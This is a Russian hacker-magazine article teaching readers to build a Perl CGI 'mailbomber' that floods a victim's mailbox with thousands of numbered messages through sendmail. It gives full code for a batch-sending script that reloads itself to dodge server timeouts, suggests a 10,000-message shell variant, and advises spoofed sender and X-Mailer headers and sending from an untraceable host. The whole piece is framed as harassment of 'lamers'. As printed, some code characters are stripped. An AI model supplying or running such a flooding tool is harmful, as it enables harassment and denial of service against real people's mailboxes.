div.main {margin-left: 20pt; margin-right: 20pt}Бомба в мыле. CuTTer (icutter@mail.ru)
Все пользуются электронной почтой (конечно, кто сидит в
Интернете). Обычно ею пользуются, чтобы с кем-то переговариваться,
отсылать файлы, получать новости (я открыл тебе великую тайну), :)
но некоторые любят использовать мыло в военных целях (например, я):
забомбить почту надоедливому ламеру или просто над кем-нибудь
поиздеваться. Обычно для этого используют уже готовые mailbomber'ы.
Конечно, что сложного? Выбрал e-mail жертвы, SMTP сервер, количество
писем и, наконец, настрочил само содержание письма, что-то вроде
такого: Hello MazaFucka. Все зависит от твоей фантазии, но все равно
все письма будут одинакового плана, а это совсем не клево.
Однажды мой корефан поспорил с одной чувихой, что она должна
получить сто писем разного содержания. Если он сделает это, то
получит три шоколадки (девочки-шоколадки - это хорошо :). Он
обратился ко мне за помощью, так как пользовался Kaboom`ом,
QuickFyre`ом и прочей лабудой вместо написания собственной тулзы. Я
же написал программу на Perl'е, которая работала не у меня дома на
компе, а на серваке, из-за чего скорость отправки писем была... не
детская, короче. Правда, вместо ста писем я отправил несколько тысяч
:-)). Ничего страшного - зато она проспорила. А письма были
такие:
Привет, Понка. Это сообщения № 1. Читай следующее.
Привет, Понка. Это сообщения № 2. Читай следующее.
И так несколько тысяч. С помощью простых бомберов ты не смог бы
такого сделать, так что будем писать свой.
Чтобы помнили
Как я говорил, мой mailbomber перланутый. Для этого, чтобы прога
нормально работала, тебе понадобится сервер на *inux платформе,
который поддерживает Perl, и на нем установлена программа sendmail.
Она обычно находится здесь: /usr/sbin/sendmail, но может быть такое:
/usr/bin/sendmail или /usr/lib/sendmail. Вначале напишем программу,
которая просто отошлет тебе на почту просто сообщение: Здравствуй,
мой сладенький.
Назовем нашу программу mail.cgi. Для удобства ты сможешь ее
вызывать из своего браузера. Например, так: http://www.mailhack.ru/cgi-bin/mail.cgi. Теперь
напишем сам код программы, а я буду объяснять каждую строчку.
Ееhhfdgijsd Наверное, ты уже знаешь, что проги на перле начинаются
со строки #!/usr/local/bin/perl. Вот код:
#!/usr/local/bin/perl
$mailprog = '/usr/sbin/sendmail'; # Расположение программы
sendmail на сервере
$mail = 'test@mail.ru'; # Присваиваем переменной $mail почту для
проверки
# Этой переменной присвой свой e-mail
$from = 'abracadbra@los.ru'; # От кого будет письмо
open (MAIL, "|$mailprog -t"); # Запускаем программу sendmail
print MAIL "Content-Type: text/plain; charset=windows-1251n"; #
Выводим заголовок
print MAIL "Subject: Привет от Васи!n"; # Здесь выводим сабж
письма (придумай свой)
print MAIL "To: $mailn"; # Говорим, кому шлем
print MAIL "From: $fromnn"; # Говорим, от кого письмо
# Теперь должно идти само письмо
print MAIL " Здравствуй, мой сладенький.n"; # Вот само
сообщение
print MAIL "nn"; # Это обозначает конец письма
close (MAIL); # Закрываем работу с sendmail
print "Content-type: text/htmlnn"; # Выводим заголовок HTML
файла
print "Письмо отправлено!"; # Вывод сообщения браузеру
Если ты запустишь прогу из своего браузера, то появится
сообщения, что письмо отправлено, и оно (письмо) будет лежать в
твоем ящике. Заметь, программа должна быть записана в Unix формате.
Если ты поставил MustDie, то воспользуйся Far'ом или еще чем-нибудь
и не забудь поставить права доступа 755 (команда chmod 755). Отныне
ты можешь отправлять почту с помощью маленького скрипта. Ты можешь
ее использовать в разных целях, например, для своего сайта. Почту
можно отправлять и с помощью PHP3, ASP (Active Server Pages). Если
ты извращенец (как я), то напиши прогу, которая сама соединится с
SMTP серваком и сделает запрос на отправку письма. В принципе это не
сложно, просто скачай готовую программу или купи книгу CGI/Perl
(более подробный материал об основах работы и обучении Perl`у читай
в следующем номере Х - прим. ред.).
Бомбить
Теперь нам нужно написать прогу, которая бомбила бы
по-настоящему. И чтобы слала хоть 1000 сообщений, но этого мало, нам
ведь нужно загрузить ящик. Но тут появляется проблема: на многих
бесплатных хостингах стоит специальное ограничение на время работы
CGI программы (называется это timeout), поэтому надо как-то
выкручиваться. Мы пойдем простым путем, чтобы меньше было геморроя.
Будем отсылать 50 сообщений и заново загружать программу, а ей
говорить, что, типа, мы уже 50 штук отправили, давай шли дальше. И
так до бесконечности, пока тебе не надоест. Конечно, можно запускать
как background программу в shell'е, но не у всех есть к нему доступ.
Правда, Х как-то писал, как открывать shell,- если у тебя есть такая
возможность, то программу можно будет совсем легко переделать.
Допустим, она должна слать сообщения разного содержания:
Здравствуй, ты читаешь сообщения №1. Можешь читать следующее.
:-))
Здравствуй, ты читаешь сообщения №n. Можешь читать следующее.
:-))
Придумай что-нибудь свое, но чтобы в письме участвовал номер
сообщения, а то не будет и смысла писать свой mailbomber. Допустим,
ты уже выбрал свою жертву, это e-mail mazafucka@mail.ru. Программу
обзовем bomb.cgi, вызывать будем так: http://www.mailhack.ru/cgi-bin/bomb.cgi. Номер
последнего отправленного письма будем записывать в отдельный файл,
так как вдруг тебе приспичит остановить бомбежку, а потом захочется
продолжить. Если программу вызвать с параметром new (bomb.cgi?new),
то номера писем обнулятся и отсчет начнется с единицы. Теперь
разберем код нашей программы:
#!/usr/local/bin/perl
$mailprog = '/usr/sbin/sendmail'; # Расположение программы
sendmail на сервере
$mail = 'mazafucka@mail.ru'; # e-mail жертвы
$from = 'whoisit@hej.sux'; # От кого будет письмо
$file='bomb.txt'; # Файл, в который пишем кол-во отправленных
писем
$col=50; # Количество отправляемых писем за один раз
if (($ENV{QUERY_STRING} eq "new") && (-e $file)){unlink
($file);}
# Обнуляем данные, если надо
open (DATA, $file); # Открываем файл, в котором находится кол-во
отпр. писем
$num= ; # Считываем информацию из файла
close (DATA); # Закрываем файл
if ($num eq "") {$num=0;} # Если ничего не записано, то значит
отправлено 0 писем
for ($i=1; $i<=$col; $i++){ # Начинаем цикл
$n=$i+$num; # Присваиваем переменной $send номер письма
open (MAIL, "|$mailprog -t"); # Открываем программу sendmail
print MAIL "Content-Type: text/plain; charset=windows-1251n"; #
Выводим заголовок
print MAIL "Subject: Привет от Васи!n"; # Выводим тему
сообщения
print MAIL "To: $mailn"; # Кому шлем
print MAIL "From: $fromnn"; # От кого шлем
print MAIL "Здравствуй, ты читаешь сообщения №$n. Можешь читать
следующее :-))n";
# Выводим само сообщение
print MAIL "nn"; # Конец письма
close (MAIL); # Заканчиваем работу с sendmail'ом
}
open (DATA, ">$file"); # Открываем файл с данными о кол-ве
отправленных писем
print DATA $num+$col; # Записываем кол-во отправленных писем
close (DATA); # Закрываем файл
print "Content-type: text/htmlnn"; # Выводим лажу (заголовок
HTML файла)
print "$numn"; # Выводим кол-во отправленных писем
print "
<script>n"; # Начинаем скрипт, который запустит заново эту
программу</p> <p>print 'parent.location="bomb.cgi";';
# Вот сам код</p> <p>print "n</script>n";
# Заканчиваем скрипт
# Вот и весь скрипт
Как видишь, программа довольно простая, если ты не знаешь, что
такое n, то это не страшно. Эта штука обозначает только перенос на
следующую строку. Ты, наверное, заметил, что каждое письмо должно
заканчиваться двойным n. Это сделано, чтобы программа (sendmail)
поняла, что мы ей все сказали для отправки письма. В конце мы
выводим количество отправленных писем, для твоего же удобства. Но
самое приятное, что программа почти не ест твой Интернет трафик.
Поставил работать программу и смотришь к себе в браузер, а там: 50,
100 отправленных писем... через полчасика 3450 или еще больше. Не-е,
хватит, думаю, на сегодня. Закрываем браузер, а потом через
некоторое время продолжаем. Прикольно! Я думаю, что твой кент будет
в восторге - по аудиториям будет ходить злой, за всеми пристально
следить: вдруг кто в ответ улыбнется. А ты не улыбайся, он ведь
сразу просечет, что это ты такой шутник :-). Правда, он все равно
сможет догадаться (если не тормоз), так как в письме почтовые
программы любят дописывать, кто это в действительности отправил
(например, agava.ru полностью выдает твое мыло), но так делают не
все. Делай свою рассылку с какого-нибудь левого местечка, чтобы все
чисто было.
Вечный Upgrade...
Программа, конечно, работает, но вдруг тебе что-нибудь захочется
сделать эдакое. Так что извращайся над кодом как хочешь, главное,
чтоб он работал :-)). Например, переделай его для запуска из-под
shell'а. Для этого надо сделать цикл не от единицы до переменной
$col, а до нескольких тысяч. Замени $col на 10000, тогда программа
отошлет 10000 писем, и не забудь удалить из кода команду вывода HTML
файла, которая заново запускает саму программу, нам это не нужно.
Также надо стереть весь код, который обращается к файлу bomb.txt,
тебе он тоже не потребуется. Ну а если совсем заняться нечем, то
можешь в письме добавить поле X-Mailer. В нем находится имя
программы, которая отправляет письма. Если хочешь, чтобы твой
почтовый клиент показал, что письмо было отправлено программой, типа
Fucking Outlook Express ver 1.666, для этого тебе надо вставить
такую строку:
print MAIL "X-Mailer: Fucking Outlook Express ver 1.666n";
Строчка должна находиться после вывода заголовка письма, где
указывается его кодировка. Если это письмо будет получать
какое-нибудь ламо, то он, наверное, поведется и станет спрашивать у
друзей: "Нет ли у вас такой программы? Мне тут пришло столько
писем..." И так далее. Поэкспериментируй.
Счастливой тебе бомбежки :-)).
|